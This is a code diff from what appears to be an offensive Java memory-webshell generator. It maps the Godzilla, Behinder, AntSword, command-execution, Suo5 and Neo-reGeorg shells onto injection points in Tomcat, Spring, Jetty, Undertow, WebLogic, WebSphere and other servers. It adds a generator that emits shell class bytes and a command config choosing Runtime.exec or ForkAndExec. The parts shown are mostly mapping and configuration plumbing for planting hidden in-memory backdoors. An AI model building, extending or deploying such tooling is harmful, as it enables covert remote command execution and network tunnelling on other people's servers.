.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class) .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class) .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -185,17 +84,19 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, BehinderListener.class) .addShellClass(JAKARTA_LISTENER, BehinderListener.class)
.addShellClass(VALVE, BehinderValve.class) .addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class) .addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(PROXY_VALVE, Behinder.class)
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -203,15 +104,16 @@ public enum Server {
.addShellClass(FILTER, AntSwordFilter.class) .addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class) .addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class) .addShellClass(VALVE, AntSwordValve.class)
.addShellClass(PROXY_VALVE, AntSword.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -223,30 +125,25 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, CommandListener.class) .addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class) .addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class) .addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(PROXY_VALVE, Command.class)
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class) .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class) .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -258,11 +155,20 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class) .addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
.addShellClass(VALVE, Suo5Valve.class) .addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class) .addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.addShellClass(PROXY_VALVE, Suo5.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.build()); .build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -274,10 +180,66 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class) .addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
.addShellClass(VALVE, NeoreGeorgValve.class) .addShellClass(VALVE, NeoreGeorgValve.class)
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class) .addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.build()); .build());
} }
}
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
if (serverName == null || serverName.trim().isEmpty()) {
throw new IllegalArgumentException("Server name cannot be null or empty.");
}
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
if (existing == null) {
servers.add(serverName);
}
}
public static AbstractServer getServer(String serverName) {
if (serverName == null) {
return null;
}
return instances.computeIfAbsent(serverName, k -> {
Supplier<AbstractServer> supplier = registry.get(k);
if (supplier == null) {
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
}
return supplier.get();
});
}
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
for (String shellType : injectorSupportedShellTypes) {
Class<?> shellClass = rawToolMapping.get(shellType);
if (shellClass == null) {
continue;
}
toolMappingBuilder.addShellClass(shellType, shellClass);
}
server.addToolMapping(shellTool, toolMappingBuilder.build());
}
}
public static List<String> getSupportedServers() {
return Collections.unmodifiableList(servers);
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.memshell;
/**
* @author ReaJason
* @since 2025/6/11
*/
public class ServerType {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin";
public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic";
public static final String WEBSPHERE = "WebSphere";
public static final String SPRING_WEBMVC = "SpringWebMVC";
public static final String SPRING_WEBFLUX = "SpringWebFlux";
public static final String XXL_JOB = "XXL-JOB";
public static final String APUSIC = "Apusic";
public static final String BES = "BES";
public static final String INFORSUITE = "InforSuite";
public static final String PRIMETON = "Primeton";
public static final String TONGWEB6 = "TongWeb6";
public static final String TONGWEB7 = "TongWeb7";
public static final String TONGWEB8 = "TongWeb8";
}
@@ -1,44 +1,41 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import java.lang.reflect.Constructor;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/22 * @since 2024/11/22
*/ */
public enum ShellTool { public enum ShellTool {
/** Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
* 哥斯拉 Command(CommandGenerator.class, CommandConfig.class),
*/ Behinder(BehinderGenerator.class, BehinderConfig.class),
Godzilla, Suo5(Suo5Generator.class, Suo5Config.class),
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
Custom(CustomShellGenerator.class, CustomConfig.class);
/** private final Class<? extends ShellGenerator> generatorClass;
* 冰蝎 private final Class<? extends ShellToolConfig> configClass;
*/
Behinder,
/** ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
* 蚁剑 this.generatorClass = generatorClass;
*/ this.configClass = configClass;
AntSword, }
/** public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
* 命令回显 try {
*/ Constructor<? extends ShellGenerator> constructor =
Command, generatorClass.getConstructor(ShellConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
/** return generator.getBytes();
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a> } catch (Exception e) {
*/ throw new RuntimeException("shell generate failed " + e.getMessage(), e);
Suo5, }
}
/**
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
*/
NeoreGeorg,
/**
* 自定义
*/
Custom,
;
} }
@@ -6,40 +6,35 @@ package com.reajason.javaweb.memshell;
*/ */
public class ShellType { public class ShellType {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet"; public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet"; public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
public static final String FILTER = "Filter"; public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter"; public static final String JAKARTA_FILTER = JAKARTA + FILTER;
public static final String LISTENER = "Listener"; public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener"; public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve"; public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve"; public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String ASM = "ASM";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor"; public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler"; public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet"; public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter"; public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.Builder; import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.ToString; import lombok.ToString;
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private Encryptor encryptor = Encryptor.RAW; private Encryptor encryptor = Encryptor.RAW;
@Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
public enum ImplementationClass {
RuntimeExec, ForkAndExec;
public static ImplementationClass fromString(String encryptor) {
if (encryptor != null && encryptor.equals("ForkAndExec")) {
return ForkAndExec;
}
return RuntimeExec;
}
}
public enum Encryptor { public enum Encryptor {
RAW, DOUBLE_BASE64; RAW, DOUBLE_BASE64;
@@ -1,47 +0,0 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Base64;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
import lombok.Data; import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
@@ -1,13 +1,12 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -21,17 +20,23 @@ public class ShellConfig {
/** /**
* 目标服务类型 * 目标服务类型
*/ */
Server server; private String server;
/**
* 目标服务版本
*/
@Builder.Default
private String serverVersion = "unknown";
/** /**
* 内存马功能 * 内存马功能
*/ */
ShellTool shellTool; private ShellTool shellTool;
/** /**
* 内存马类型 * 内存马类型
*/ */
String shellType; private String shellType;
/** /**
* 生成类的目标 JRE 版本 * 生成类的目标 JRE 版本
@@ -63,7 +68,7 @@ public class ShellConfig {
public boolean isJakarta() { public boolean isJakarta() {
return StringUtils.containsIgnoreCase(shellType, "jakarta"); return shellType.startsWith(ShellType.JAKARTA);
} }
public boolean needByPassJavaModule() { public boolean needByPassJavaModule() {
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
}
